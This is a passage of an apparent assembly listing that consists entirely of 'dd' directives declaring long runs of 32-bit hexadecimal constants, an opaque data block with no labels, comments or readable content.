3065D538h, 0A8577993h, 2066CFAEh, 0BE664EEDh, 0FE6D8745h dd 0AAEDFB52h, 641FEA93h, 0BD1E725Bh, 55B80785h, 5B5A15B6h dd 2EE6D7F2h, 72EC2AEDh, 2098A1h, 0F0803B8h, 822D2318h dd 0F21A5447h, 0C0A0D476h, 38B75846h, 51555A1Fh, 0DD49F04Bh dd 0AA0B6FB2h, 0F0E72B5Fh, 5B082D9Dh, 0E924CF72h, 5803603h dd 12E574DBh, 5D873168h, 558D3B89h, 0B92F2D8h, 55154C9Bh dd 120DC48Ah, 401CC02Ah dd 0A439BC35h, 0C2319F47h, 0D825952h, 6D807551h, 885052BEh dd 6DBCF84Fh, 6F39295Fh, 0DCE005D2h, 0B4474904h, 0CBAFE902h dd 0A513DBFFh, 0A4BDE6F9h, 730450B8h, 7582E801h, 0A6805D23h dd 0C84A5025h, 0A3E22D4Ah, 95052Ch, 0A9BD3D6Fh, 77040738h dd 6A74ED81h, 0E0CD81FAh, 15F37E10h, 25F0B696h, 815E5627h dd 0DC6CD768h, 8E023B08h, 0F4543270h, 6E97248Bh, 77A15CC0h dd 5995899Ch, 2DD669CDh, 75CF100h, 90DD891Ch, 4DD9646h dd 0EFEED15Bh, 684B041Ch, 0C8987505h, 632DAAB9h, 2A29C0BEh dd 11E4253Ah, 0C981317Ch, 7FAD1A4Dh, 842430h, 0D519C7Bh dd 23967E0Ah, 6740D290h, 2F1D9129h, 9A9D5A48h, 7EAFE89Bh dd 0F94E3D0Ch, 5BE93E8h, 0CCBD1D71h, 2D015BB4h, 6123574Fh dd 3283D829h, 138F2C76h, 20A5DA2Dh, 0E32A7D0h, 9DEBB839h dd 325FD209h, 50985F1Ch, 0A6273DD8h, 5504A76h, 9CFE5B08h dd 599F5DB7h, 167E6B7Eh, 6414E978h, 0EC097C77h, 12F82FC3h dd 9BE0DDC2h, 0C125804Ah, 0AE8D756h, 0CA0E88DEh, 75EB559h dd 0EDB15AD5h, 5CDC0F3h, 0C3FA831h, 7AFE50FEh, 1AA1E3Dh dd 80260BB8h, 5232971h, 0BD116885h, 435C3028h, 2DBC16BDh dd 0C141D8CDh, 73923C09h, 407D720Ch, 139B0C37h, 0B94F7E07h dd 58AD82BBh, 0D0EA6008h, 0EFC180D7h, 0FC5B6290h, 2DABD717h dd 125423AEh, 0D449B722h, 68095752h, 9F5F167Dh, 0E91776F8h dd 2DBF5787h, 3FDBF5FFh, 9BC9A216h, 90D4A9E8h, 2A6816D6h dd 41C1B23Bh, 0D7C57D98h, 0E96A80BFh, 8E9A1385h, 9855AD25h dd 2F15E523h, 89D02A46h, 4B4B64B7h, 0C706BD02h, 0A11BECE9h dd 1529BBABh, 4889E6CCh, 81B4FDDFh, 2038C2ECh, 7C4BE9F2h dd 0EE0164C1h, 3C4A5CA7h, 0A50945FFh, 12819E5Dh, 2269E5E9h dd 0C2773082h, 304A5CD5h, 423A3DFEh, 0E6817F01h, 7CC31358h dd 17712F30h, 90DBB2Ah, 0D479A5B7h, 41995E2Dh, 0C67CAEBEh dd 595E6342h, 0E80A84A5h, 0AF6324FFh, 50145B49h, 0F4EBD4Fh dd 7BB7FB7Dh, 0DA7F49FAh, 535A0F7Eh, 3429BCB3h, 0AF509A24h dd 1896BE2h, 0CA6E79D5h, 7FEB0014h, 0E96D1457h, 92D0B032h dd 0B7EFD554h, 5ACDD525h, 61BCE98Bh, 0BA2E2DAAh, 685B5401h dd 13504B25h, 317B951h, 5703957Eh, 450401BFh, 37E9F929h dd 0BA02ACB8h, 30521790h, 49CAC875h, 3BCC4D5Eh, 947B7F05h dd 0E0C4565Dh, 2F411771h, 0F1BAB13Ah, 460AAC30h, 18D751Eh dd 0C4E31BF5h, 0AE131251h, 0C2490419h, 575B0902h, 0CEF447D0h dd 0A7CA154Fh, 341CF302h, 0B94075B7h, 56301446h, 8230C6Fh dd 6CBA4822h, 0CD28E909h, 0FAD65D26h, 491EA509h, 0FE0F5F3Ch dd 0BBAA8413h, 6064AC49h, 24665D95h, 2DAAD031h, 0B868B181h dd 4C042443h, 38FFBD4Fh, 7E974B07h, 55004F6Fh, 5F3AB030h dd 9017190h, 0E9455A17h, 0CA2E4CC7h, 9FF2026Fh, 5F271F69h dd 3E2523D8h, 0B444A0FEh, 90CE76BFh, 63729703h, 5690E926h dd 5E51FBDh, 0AF64F581h, 0B86FD5F2h, 16AAB404h, 0DFCC71E6h dd 54443BE8h, 920BA16Fh, 572E2D85h, 440CEEEBh, 0BE31316Ch dd 0BFE730CAh, 4FF01271h, 0C2242C98h, 0ED8CB406h, 1DBF3C5Ah dd 0ED391BCAh, 0C094B0E3h, 0D8200E2Fh, 5AD26E58h, 7C8C11F0h dd 0C2A49131h, 0A9C25FF8h, 11158975h, 52DEE7AAh, 91E8B58Dh dd 0FE4FE1E8h, 602F7188h, 5BDD4523h, 5992895Fh, 0A788574Eh dd 3AC4417Ah, 0E94E2CFBh, 0C20D7368h, 3D1FD002h, 0BAE0402Ah dd 0A9952856h, 2C2302EDh, 0E6C10F28h, 41C6DA40h, 8BD77D12h dd 40679E01h, 2A853F1Fh, 0B9536960h, 22066D24h, 67840B04h dd 1AF4171Fh, 0C13552EEh, 6DD7BEE6h, 0A1A84FE2h, 1D5502Ch dd 28E5B4CFh, 0C33732CCh, 0F2FCC580h, 0ADD6C3E5h, 0E9AC31B8h dd 741B5225h, 3BF0EB54h, 0FC4B5DFCh, 499C17F4h, 0B84E40AFh dd 0DDF3057Ch, 5B81366Ah, 0B97F72F0h, 0DC16DF62h, 0FC61DF4h dd 93A1499Eh, 0B43C1064h, 0C704F382h, 43449911h, 0B9270EADh dd 0BA66F105h, 0B7D68E10h, 7D42FFDEh, 7553E91Bh, 672C33C5h dd 50660101h, 0EF2B97B4h, 0F504B525h, 0F105FF10h, 0FED8FE4Fh dd 18261D70h, 84E98641h, 0B63B285Ch, 6183AF8Ch, 9720ADDCh dd 7531606Ah, 9C1A8DC2h, 0AA301D7Bh, 0AB2CB8D7h, 2212CB04h dd 505E9F0h, 5C3DED4Bh, 9F4F05FBh, 0A9908864h, 40095809h dd 7448401h, 5253AEADh, 1CCA0092h, 0E9B1E4DAh, 0DDC84D27h dd 5A938030h, 0F9C99BC0h, 0F64F3611h, 0B8454E2Bh, 57E5E752h dd 0D73EE0B1h, 34389300h, 0E351202h, 5750C94Ch, 4B845D62h dd 2D5B0563h, 0EC4BB1FEh, 0E6BF2015h, 9ECA2005h, 13ECB24Ch dd 6495D4B4h, 43C3DDAFh, 0F15EBD3Fh, 218822AAh, 2FE4E8C1h dd 8EF5E2D0h, 0F8A04BC4h, 41800585h, 50EE2892h, 0F94C0849h dd 0CEFFB530h, 33D53C2h, 8A29AA07h, 2868AD0Ch, 0BC43F977h dd 44CD814Fh, 9E25581Bh, 93F4606Ah, 5CE92181h, 0E24BD42Ch dd 81E4B4A8h, 35CF6A0Ch, 0B33C06A2h, 741C0C1Dh, 1CF1833h dd 8A8DCC1h, 55140CD0h, 89076654h, 0EA655D51h, 8445D393h dd 758DCC7Fh, 685DC910h, 76144847h, 50272DD5h, 0D99731E4h dd 0EA7A34B3h, 5CAC87ECh, 6985A90h, 39574B17h, 75917105h dd 0E17DBBFDh, 5275AB3Bh, 565D0203h, 260AEC8h, 0F264536h dd 12E2FD29h, 0F9D50809h, 64992892h, 85FAA931h, 0D7C4FFBBh dd 0A183BCBBh, 493A29D7h, 477F9E67h, 0AD29925Fh, 3836108Ch dd 0E009B148h, 0AF96CB30h, 0DC885016h, 0A4E514FFh, 0FAD3E5B7h dd 9D2A68Ah, 0D61141Fh, 12FF2E2Dh, 24A6BB66h, 0EA52527h dd 5D2BFEE3h, 9CDEAA4Eh, 1280BA76h, 0E361BF68h, 2EF80B15h dd 41D9A023h, 9F6ACD69h, 3A93C89h, 9572D7h, 0C5074ABEh dd 4EF68131h, 0F5890DC5h, 39E9D2h, 0EB804334h, 6A97215Bh dd 7A465F59h, 0EBE1F1B5h, 0D2693DD9h, 300B514h, 4192C8Fh dd 0D52EF590h, 0EC4265D7h, 8102D601h, 2B568CC6h, 0B5FF4267h dd 0A9E8E029h, 0B05E8236h, 0B377B103h, 0B784BE0Eh, 7AFDE6E4h dd 0FA2FF889h, 7F59114Bh, 0D42411C6h, 0DA53B4D5h, 527F49A0h dd 0C174342Fh, 80F09FA5h, 783AC17Dh, 0C351AD23h, 3B061A6Fh dd 405DB894h, 0DB2EE907h, 0F5A55832h, 0D6AA536Bh, 84600892h dd 0FA247EF3h, 3712F36Fh, 0A2F96DCCh, 18705F32h, 67D7E916h dd 2057CDABh, 3B28384Dh, 4C20E5C6h, 15A13D3h, 6DD9AB6Ch dd 0CB2A302h, 79F50D6h, 0D5045975h, 0C5D7FCEFh, 0B4BAEF28h dd 0A204BFEEh, 475D5F6Bh, 81ED82EFh, 5B17D5FEh, 4C47861Eh dd 7FCB2D63h, 2E686AA1h, 93D42D49h, 6E208003h, 0E581C87Bh dd 7E222E35h, 0A8CD01D3h, 3B099A62h, 4C38B5B1h, 204F0202h dd 8E754E31h, 0C4E58074h, 0B25EF089h, 0FFCC16Ah, 0E73ECA65h dd 8C19628h, 68127C84h, 0AFC83C4Ch, 9517A57h, 4A345FABh dd 9E25247Ah, 3199D7AEh, 0D15E0053h, 0FF554AEFh, 84BB4023h dd 1601A714h, 292361CCh, 24ACF5F7h, 874E452Eh, 5A10DBACh dd 0DEBB0088h, 813D747Eh, 24A900E3h, 0B9512B34h, 90162513h dd 41AF3173h, 5BFE669Fh, 6856FCA5h, 0E6273B27h, 5760731h dd 0E0553244h, 129A0785h, 501F78A4h, 5CC9EDB8h, 0F50E892Eh dd 0C4FBC63h, 13C816ABh, 67A7AE2Ch, 5FFA2909h, 4585B55h dd 0A5FED1E2h, 7861E111h, 68BA4E84h, 0F2258CDEh, 727BFEh dd 0A4B693B3h, 390BC680h, 0D1DB3EE9h, 10F0AC6Dh, 2E3501ECh dd 31563F39h, 5B5E286Fh dd 0A49AF128h, 0B43C604h, 0D4FA2AD5h, 5B080FF6h, 1750ED3Fh dd 72156C13h, 0E39E8181h, 705FA734h, 0D8FC9545h, 194307CAh dd 0CFE50422h, 0C07437FEh, 7801C730h, 63BDCE2Fh, 0E935125Fh dd 0F769C78Fh, 0BC977CFh, 0BE633DFh, 0D12061B6h, 10F3C885h dd 5E29089Dh, 0CA602580h, 0C497F9DDh, 0EB555FCEh, 17285960h dd 0BE470214h, 0C4458CB9h, 0A0970FDDh, 62FF7268h, 7D919531h dd 50F07CDCh, 9D5F64F9h, 846F38A5h, 0A58A8CFBh, 0FD6409BFh dd 0D997801Ch, 0B5E9610Eh, 4C18741Fh, 0D4BD4D70h, 515C72A9h dd 16418528h, 59728700h, 552926BEh, 0FE0E124Bh, 0F4F71332h dd 0AEC792D5h, 0F740EDA1h, 0FE1F50E7h, 0F283BD75h, 0A2E916EFh dd 91D8FB33h, 8B5A01E3h, 0EB4A8FECh, 908EFBCCh, 0FB53D247h dd 40A5BAE1h, 0C5CEC2F7h, 0FE2AB519h, 0F14449Fh, 6A1AD9B7h dd 0BC80B0D5h, 1BE65DD1h, 344BD9F6h, 794CE9B7h, 9478B612h dd 22E982DAh, 466113B2h, 35347A03h, 2068CA43h, 9A232C69h dd 0E3808788h, 43478270h, 0F10776C4h, 2F821B6Dh, 0D567BCC2h dd 6612C0F3h, 0BEDE31EAh, 2C992F31h, 92DEFDE8h, 59CD2568h dd 2D5A6570h, 11112BFh, 0EA329F19h, 0D3FD6215h, 585B2C09h dd 0B1B29F43h, 2D724F7Fh, 6850DBDCh, 0DC024D62h, 0A9302294h dd 0F6E8E5F9h, 4125D57Ah, 8FAEC840h, 0B026FA3Ah, 2C6AFC31h dd 2271D7Fh, 2180089Eh, 0F1490ED4h, 0C6C308D1h, 0D9405A0Bh dd 0BEB2A6B4h, 0C0580C64h, 645C6BD5h, 5D1CA35Bh, 4913C1DFh dd 94F92B53h, 36F65125h, 98A925Eh, 0A456E917h, 0F988DB7Ch dd 0CD7A8821h, 0B02EA8Fh, 7D0582Eh, 0B450C2FEh, 80CC516Bh dd 6C0E70ECh, 0FDECB55Eh, 0D6C08FC7h, 0CE982006h, 20C1D176h dd 822DCBEh, 52EEDE40h, 5FD31D36h, 3ECEC146h, 30620161h dd 120245ADh, 56808CAh, 940CC74h, 76971637h, 4E8BAF80h dd 81024D87h, 517D18F2h, 1217F025h, 1DC3834Bh, 3CF8E574h dd 0D9CCEB9Dh, 64E84CD5h, 0FBDF5E29h, 6F21F742h, 6865C81Ch dd 0E62BE5F6h, 2FA4948Ah, 68DC104Dh, 0C77B51B5h, 5ADD8460h dd 0B2D980D3h, 0E09D88AAh, 8092348Dh, 0FEBBDF31h, 0F6F8210Bh dd 3B176D4Ah, 0AB9250A9h, 0F1D04EA6h, 64478C04h, 0F294FF40h dd 0FF5F0809h, 0C1010445h, 0C8E90EE8h, 685F48E6h, 0F127097Bh dd 0F1565D70h, 0F5B0B1C4h, 6D681766h, 0FB71BF67h, 0F080C562h dd 7C7E19B8h, 0EB090542h, 2BBD8381h, 72855AA6h, 6C608267h dd 8720033Fh, 79B60944h, 8B8023F1h, 0B2182034h, 5FF8290Bh dd 2FBC7031h, 0ED65EF3h, 0A29DD1EBh, 0D2F38DBh, 6669BA4Bh dd 62D8CFEBh, 905A1F0Ah, 0EC142909h, 7D4009A4h, 5D986EF0h dd 0FEE2B213h, 0B98450BCh, 9E65E8DAh, 7221B30Bh, 17F4042Bh dd 0C0492BB6h, 75610685h, 54E96408h, 0FFB9122Ch, 23BCAC84h dd 0ECDA443Fh, 23C2A7F4h, 8235F615h, 0A62445FAh, 0EAC8FBCBh dd 7A2D0B8Dh, 80EA83Bh, 97163F28h, 4BE7FFE0h, 6F74915Ah dd 58286A05h, 35D97EAh, 0AC1CE959h, 0DDAA28EBh, 0E0415B48h dd 5E870B8Eh, 1055B31Ah, 44B5A9Dh, 0C02022D8h, 3AD2CF89h dd 476C1504h, 3AD4DAE9h, 5F4DCBEFh, 0FF5EA5DBh, 85FF3C52h dd 59A2E4AFh, 0E9151DAEh, 6FDED969h, 5A4E0B44h, 0BF144163h dd 3EB7Eh, 9613F21Ch, 0F9B44EBCh, 41BD4A19h, 0A8F6E9F0h dd 0F0144497h, 57429709h, 5333FC77h, 6E9E80Ah, 0E282B212h dd 89CC1BCEh, 6A698091h, 5AF71CDEh, 0A5E4B1DAh, 5A757426h dd 0C3A1C1B8h, 4E17782h, 5D0B3A75h, 0FD321B0h, 90EA2984h dd 8BAEB952h, 13A29310h, 0CEFE881Fh, 0EB92E6D4h, 5B70918Ah dd 0E5E9A815h, 0E0F7F00h, 0BB85BEDh, 0A412F1F0h, 0B5D5825Dh dd 9A185D69h, 0FF82C5ABh, 4943728h, 0F1079F09h, 0FBB27A21h dd 69CC04A5h, 75BB09E1h, 0DD84622Ch, 4E331712h, 6A18C001h dd 0F42F3805h, 0C2B596F7h, 0B3E93E22h, 0E4E909B9h, 0D06E27D5h dd 0D225BC7Fh, 1F5D5DA0h, 64E72F7Bh, 4C61E1D6h, 75C64135h dd 1005D8Bh, 593276E1h, 0E8E6F09Dh, 0BA47D772h, 0F587E0C8h dd 309ADFEEh, 0B08690DDh, 9F389FC2h, 7F09BF59h, 89097A8Ah dd 21FA5714h, 73F2D224h, 0A6CA056Fh, 2231BE4h, 216AC428h dd 20DF5AD5h, 7588F5A0h, 0C3B60DEh, 0A4071C5h, 0F2B7682Bh dd 2CDCE905h, 7DE78A4h, 0C180E1D0h, 9F22D3F4h, 6ABD1A00h dd 4D595F3Eh, 1CDD7FF7h, 0EED102EDh, 7CDF00B2h, 93E97E1Bh dd 5E262DB4h, 896CC703h, 69CBB00Ah, 7EB02542h, 5A1805Dh dd 74010380h, 32CF65E9h, 7B81AF5Bh, 800488A8h, 4D5DE5DEh dd 61F9F8BFh, 14111243h, 0DE3A97FBh, 0C8B7DD1Fh, 1BD7C54Eh dd 2C5944BBh, 89420FCEh, 2FD05EAEh, 8B5A8E5Eh, 0A2C5D52h dd 5800080Ch, 0F5014E6Ch, 0C01C66E9h, 286EBD53h, 0A4A11063h dd 85D7C2D8h, 12EB3C2Bh, 5FCEAE1Ah, 0F9E9C20Fh, 107FE373h dd 54A4480h, 41BBBCCDh, 9340FAB0h, 0EAB03033h, 7B5D7301h dd 28F7814Fh, 0B510F8E8h, 0E2B04250h, 0EC5CA740h, 0B2174FCCh dd 0D6EC922Dh, 93D7A84Bh, 0C9A5B6EAh, 9450D5EEh, 71A69280h dd 0B1245A28h, 5F428DC0h, 9245E910h, 0BAFD9757h, 65CC5D81h dd 16A98920h, 0EE1B6850h, 3CFE644h, 0B75A56A3h, 3BB696ADh dd 6803474Ah, 17C92264h, 357DA790h, 985EF288h, 7C5409BDh dd 7142433Bh, 0FF4E0782h, 5C9DE5C4h, 2BDE2DB9h, 20D2D82Dh dd 801C5F37h, 0CECC49F6h, 24ED0C3Ah, 0CFCEF328h, 50F9D80Ch dd 1296E979h, 3E03C71Ch, 0DABCB6D4h, 89175EE0h, 2B02C529h dd 18E81291h, 0EAD713E4h, 0E87E19BCh, 8F4812A1h, 0F85CF4A5h dd 22F6E790h, 0A861DE24h, 8CDD3213h, 0C53E2FEDh, 8C8FBBA8h dd 23C1E909h, 28A9757h, 0FEE4AFE9h, 0B7CF8BF1h, 8A4FA6E8h dd 25E98200h, 0F9C6A571h, 1531D021h, 174253Bh, 0D2C248A5h dd 58F2767Bh, 0D34382BAh, 0B53EEFEh, 72CE6866h, 0B43826D2h dd 0E9E70961h, 68AEA067h, 26EE63F8h, 2475E3Ch, 0E94799Bh dd 87A585DFh, 3FF04AB1h, 3CDA2522h, 6EC978F8h, 0DE995DD8h dd 3172F56h, 310BA407h, 2F9D1649h, 955BB53h, 6B607DF8h dd 0FBBD42E9h, 1064243Eh, 0C9B903F8h, 4B788F1Eh, 0F664C18Ch dd 800487DCh, 0C43372E4h, 0ADF4B110h, 0E158E3C0h, 40BB1570h dd 0C02B898h, 0D13F5909h, 8598D7E0h, 39A861EFh, 67F91BD2h dd 44E14127h, 687303DBh, 52F17293h, 4C2F605Fh, 1F092F02h dd 6894FBE9h, 254D4645h, 0CA57618Ah, 8A3AD555h, 7E91102h dd 55C9E257h, 0DD5AD9F4h, 58C426D1h, 0F8C15A94h, 293FBC97h dd 2551F17Ch, 51852AA4h, 0B35E55FCh, 968C9D9h, 0D098DDD6h dd 488B74D9h, 43140320h, 0BF4A84C9h, 88048CC7h, 7E85C1EEh dd 6A05004Ch, 7FCD095Ah, 0C408F001h, 4291708h, 0CC364113h dd 0B39A5DE5h, 557E04B0h, 0F1D4F2Fh, 6625A02Ch, 9DE6C165h dd 0AC443AE0h, 1AD5911h, 0D6C1E94Ah, 13F90508h, 0F40BBF52h dd 1ECBF1D7h, 749C4B54h, 0FE351EDDh, 0FEE82DFAh, 68D8E576h dd 0B64F4AC6h, 0BF984AE5h, 0B05F4AFEh, 0FF5E567Ch, 0BE4174BAh dd 0EE72D221h, 70CE3500h, 8A0C3224h, 0D7759205h, 0F65D00AEh dd 3110262Ch, 9F2DB1A0h, 0D0F7A201h, 0C8E9C501h, 0CBC1AD6Fh dd 0AB6D555Dh, 12F4CC2Fh, 4133E957h, 2013B58Eh, 801D38EAh dd 0D2F602C4h, 0A7E22580h, 68126914h, 16300C10h, 978883B2h dd 50634D51h, 19725186h, 0AB580B92h, 308B2002h, 0EA8000D8h dd 0C27528F8h, 9F58D5E5h dd 0F2090112h, 40D6D938h, 0E5E92EB2h, 0DFB2AD5Eh, 37C40C0Bh dd 44EBE261h, 0BCCF0708h, 400B1908h, 696E8D02h, 35045801h dd 360A827Eh, 2EF5D370h, 0F2F7BE99h, 0AF7CE7C6h, 0E8844722h dd 62098F0Ah, 5386993Eh, 120BAA30h, 0EB5B3BE7h, 339CD0B4h dd 0DF26301Eh, 0D0D039E7h, 40EEC64Eh, 0B36B840h, 257B7810h dd 48CF1818h, 131995CAh, 0BB4F1BA8h, 11F73E40h, 0F27BCA69h dd 120861EFh, 0D9DCC053h, 2D5A8721h, 0D20F07FCh, 669937FCh dd 0CCB33A0Bh, 3C19FAE4h, 0EC2A219Eh, 409AB146h, 7941BA04h dd 2F341397h, 0C4EA0844h, 8989878Ah, 0C0D84B2h, 561C0810h dd 840B56B8h, 4494A19h, 0C3D24736h, 0E55075BAh, 0D6F5099Dh dd 0CD8431EFh, 4E382E59h, 0EE2AD721h, 3B228B23h, 0B305812Bh dd 80106FFDh, 0AE3C62C8h, 0CF010913h, 0AA04B01h, 41304250h dd 533838ADh, 80D14E93h, 0A7D84AA7h, 0F729E70Bh, 0BE6CDF5Eh dd 16148B4Eh, 2AB30F05h, 815BC0A8h, 2C3BD5F3h, 13AB03E2h dd 4BBAB2F5h, 0EA138DF9h, 0C4B8BC54h, 8807681Ch, 0C6DCF2CCh dd 2715797Dh, 2594467Dh, 8801C3E9h, 2B05E668h, 0EFC19BECh dd 600C5E6Eh, 0FE80D8B7h, 48B590CAh, 383EBB87h, 50955EB0h dd 81035859h, 97338CE1h, 46C9B039h, 0BBF2D45h, 0E9418454h dd 9063D832h, 88310650h, 61EA7C5h, 0B8D67323h, 2CFB94C5h dd 1B0495E8h, 7401182Ah, 0C040F99h, 0B82FA399h, 0B02BC424h dd 44F75505h, 770BD97h, 0E772F589h, 0FBAD047Dh, 0FAA38E66h dd 27580FBFh, 0EC4B5E5Ch, 60F774ABh, 0EF5B6FF9h, 0B7C3CF4Ch dd 64B56383h, 151CCB79h, 8BC4CC30h, 0AEBD5B0Bh, 2EC76F10h dd 0B20F1404h, 0CC8644E4h, 7923A2FAh, 89949829h, 0D76D6842h dd 0BCDD908Bh, 0E574B4E7h, 0CE1ABC6h, 0DDE1F4BFh, 30483DD7h dd 0EF629C24h, 0E074B0DCh, 820D731Ah, 37204470h, 0CD012C83h dd 40F40045h, 0E3813616h, 0B5FA80Bh, 4E2DD566h, 22107E08h dd 1A027B80h, 49E9D9EFh, 10F6556Fh, 4214D45Ah, 4F5F7BCCh dd 50CC2621h, 0BF80C1F5h, 0DE74165Fh, 296AE07Ah, 97D1969Fh dd 61870F40h, 1C13C95Ch, 20C59FEFh, 1B16896Bh, 4DDC8704h dd 66E5811Fh, 0D817BA3Eh, 3F172FCDh, 93BC253Bh, 607B0C18h dd 0B9BC34EBh, 2897F230h, 297E3E14h, 34081C68h, 5D140B1Ch dd 1C36B17Dh, 0D233DD7Ch, 54C99CB2h, 9FD06BBAh, 28454A67h dd 41CC501Bh, 0C13F20A4h, 63E67B07h, 451EE81h, 0A82E30ECh dd 0C0A37C1Ch, 964F8EF8h, 614705BDh, 97A4F252h, 0B9B148B6h dd 0BD49F5B0h, 10CA9048h, 9958D743h, 0CE2D638h, 157FD329h dd 4DE98B19h, 5D4F15D8h, 693247E0h, 55DC80DDh, 813E9850h dd 1CFBD852h, 0FCE297C3h, 6680F56Dh, 59240DF2h, 0DF30EEC4h dd 3D30148h, 9613AE3h, 0C3032FDAh, 0DB73D9B1h, 0DED4BCBDh dd 795128C9h, 8F92BCC8h, 0CF84A09h, 0B99488C0h, 0E9EAD10Eh dd 8799E00Dh, 0FC7EB7CFh, 14FDC412h, 7556E44Eh, 65BB725Bh dd 68BCA44Eh, 6FA80E4Fh, 0E82459CFh, 2332AF64h, 17E569Ch dd 3D6E63BDh, 0BF83B68h, 0C310E800h, 35E94555h, 0BE6696E7h dd 3D27C960h, 12E1A9Eh, 80932F5h, 84455C04h, 2BA8FA2Fh dd 2613E9D0h, 0A1D4F819h, 0AF040BB2h, 62D82EC0h, 2F227C93h dd 52D93EFAh, 0D1BB5897h, 82B8FD4Bh, 1B68AD62h, 78EBAA33h dd 0D9EB432Eh, 68576182h, 455DC2B5h, 0F05F17EEh, 670031A7h dd 0EA2D110Fh, 65BBF76h, 95913A35h, 0C272D0D4h, 0D75AD62Ch dd 5048091Ah, 0BC150214h, 0F229CAB5h, 0BCA40CCCh, 0A540D32Ch dd 72186861h, 0F7AB85C3h, 27142028h, 9E713B5Fh, 0E6954C42h dd 8BE09FEDh, 68741131h, 4D27644Ah, 25A3BAC7h, 0D090AF50h dd 0B7EA44E9h, 805AA225h, 74BD1EC1h, 0C2A4934Fh, 565E2BF5h dd 0BBED17F6h, 0FC172184h, 0E92DC3BAh, 3BFF18DAh, 22FE9522h dd 0D2A92B23h, 42EB07D9h, 0E3C077EEh, 580B1296h, 76E5C118h dd 0E59314E6h, 0F3375DFh, 25119962h, 0BA6B072Ch, 0E9799890h dd 0FA72D266h, 4910899Fh, 0FC3E60F6h, 2E0E412Dh, 1715435Bh dd 6F9EFF98h, 281DE90Bh, 5A300066h, 3CF679DEh, 36923D4Eh dd 4F09C5A7h, 4003C4D9h, 97296F47h, 1716168Bh, 0B3398268h dd 4196E08h, 1781572Bh, 0E9232F9Bh, 0E5002D4Ch, 0F75E562Eh dd 0C89F47DFh, 2DD1416Ah, 87FDA1A9h, 137C3E7h, 90C1336h dd 647C65DFh, 8A011FEh, 622E07A0h, 777CE3Eh, 0B60CFEAh dd 0E9C082C9h, 0F895FF2h, 6B3E01DBh, 65EF20FEh, 0BF32F325h dd 32CE30E1h, 0E7F04199h, 0F423E1F9h, 9395FC8Bh, 0D669E2C8h dd 77228045h, 0A405705Dh, 0F0EBBE16h, 5EC24AB4h, 0A15AACA5h dd 9C51129Ah, 510C703Eh, 0F6FEB109h, 19A57FD9h, 3F6581C8h dd 173F3DA9h, 0ABC98F98h, 0D3EEA72Eh, 0C5C9AEB9h, 0C5717875h dd 9182E9A2h, 7F315B10h, 0EBED2704h, 0ED4BB810h, 7F307B55h dd 53E517BFh, 37E23003h, 9DFD024Eh, 0FE01EE26h, 0C546BC16h dd 20ACEB21h, 0BF04C907h, 4E9579D2h, 56561FFFh, 2865B11Bh dd 1668849Ch, 4DB699EAh, 8A133BE5h, 4E6DE6EAh, 0CCA2CEFh dd 0E22B5981h, 26D4C4C6h, 6748BE01h, 0EE172064h, 52374618h dd 26C9F60Ch, 8A115Ch, 0CD1B951h, 10406E6h, 0F78959CEh dd 0B162F9BEh, 717BC731h, 2B386EE8h, 0C2F438B8h, 6801A352h dd 8A78208Bh, 45A222DCh, 0EA4EFC04h, 0EA5813E6h, 7CE9D12Dh dd 0F8E1E305h, 0CEA23BFEh, 93632150h, 0D050BF9h, 8B976594h dd 2031DD3Bh, 0D708C68Dh, 0C4B45809h, 0E4681707h, 842AAD0Dh dd 4CD1576Eh, 92ACF88h, 0C7D8D7F1h, 28FF544Bh, 0EC25E914h dd 1C975512h, 10FFFE27h, 0DB5E28C1h, 986052BDh, 0FF49DD5h dd 8292EFF8h, 0B2B462FDh, 182DF2Eh, 0F0E59ACBh, 93CCD80h dd 20E96F0Ah, 66388E4Eh, 50C30058h, 4768ACB0h, 486A66Dh dd 0EEC05FB6h, 0F6E68208h, 0F2570E55h, 0C68C201Dh, 0F3FE38DCh dd 2E5158D8h, 19BE20B5h, 2EEE7FC4h, 0AD4E4EB8h, 77A51715h dd 0CF22FEEh, 1008A2E9h, 280E71B9h, 4BEE3C76h, 58BE2543h dd 510D862Fh, 6C58839h, 117E9EBh, 0EDC75F85h, 31A24E25h dd 0E406B892h, 728FBE0h, 0C18058E1h, 0B48F3F02h, 0C559C827h dd 0C33EA2D0h, 87C32C3Dh, 5A12BDFFh, 53CCD7FBh, 5402B46Ah dd 0A043EDB8h, 0E2847712h, 4DB7C248h, 8B57FBC2h, 267609h dd 0E913186Bh, 38C7FF51h, 63AECF80h, 0A6674E7h, 0C728A4EEh dd 0F80809DFh, 20BDE5F5h, 0F67304C7h, 9533E9DDh, 0A99BF068h dd 0D5AA05F9h, 92E4EEB0h, 13219E68h, 20EFEC5Fh, 4A5C7D87h dd 0FF8C84E6h, 7E4F7280h, 0BE105D7Ah, 0E9F32103h, 0AC78B60Bh dd 12D99EB7h, 0B21425E9h, 44A48FBh, 19683488h, 5F8C6283h dd 2707AC0Dh, 2D16D729h, 4E129EB0h, 0A2F97694h, 975B0840h dd 580BD4DBh, 0AAC4795Dh, 0C895252Ah, 5117205Bh, 45E500EFh dd 0B1E977A6h, 0FCBD3B9Ah, 0DE485085h, 0DF0C2B97h, 0FFD835ABh dd 0F70781E2h, 53D33BCAh, 5040E767h, 0C15660DCh, 0D87EC1EAh dd 0A0B2821Fh, 0DCF665F2h, 32038219h, 88F71AB0h, 59120736h dd 5706E4F8h, 0B7BA39E9h, 412F0192h, 0B56310B3h, 518072F5h dd 0CDF1F819h, 12AF0E9Ch, 0D85900E8h, 0A1E9BC2Ch, 13F09E52h dd 74B204C3h, 0C2BDE981h, 0D7892BFEh, 4897A92Bh, 2F291073h dd 332D9B48h, 409716B4h, 1F03337h, 0DD054046h, 0D84FC74Dh dd 6B9587E9h, 5E2AB1AAh, 4ECA4624h, 0A99FA59h, 0C8C5B82Fh dd 0BB4D6414h, 8EAE1853h dd 0F2F35A48h, 17B2A4C4h, 47F176E1h, 20E18955h, 60533308h dd 54F9C857h, 89044013h, 9C56E9C7h, 2C13C1ADh, 0EEA343h dd 757C04ABh, 5879CF81h, 0D04F961Ah, 0F14B677Eh, 4F472F13h dd 6A654B01h, 0F56CA56Dh, 94AABC4Fh, 70B4B40h, 0C5C3D52Dh dd 0CFE0EAADh, 775CBD5Eh, 113ED88h, 1C99EA81h, 0AB7FEA33h dd 6F786019h, 0F945FC3Bh, 535FC9D6h, 944CB3Bh, 54CFE9D6h dd 0B7C82FCBh, 27095CEEh, 772DE874h, 0ACE9AFC0h, 68169EB2h dd 78B85A2Eh, 144F45A5h, 0B82F9005h, 41E97808h, 622F83FCh dd 0EEE418C2h, 0FACD296Eh, 4C07699Eh, 3DDC0300h, 659E5DB9h dd 540DC687h, 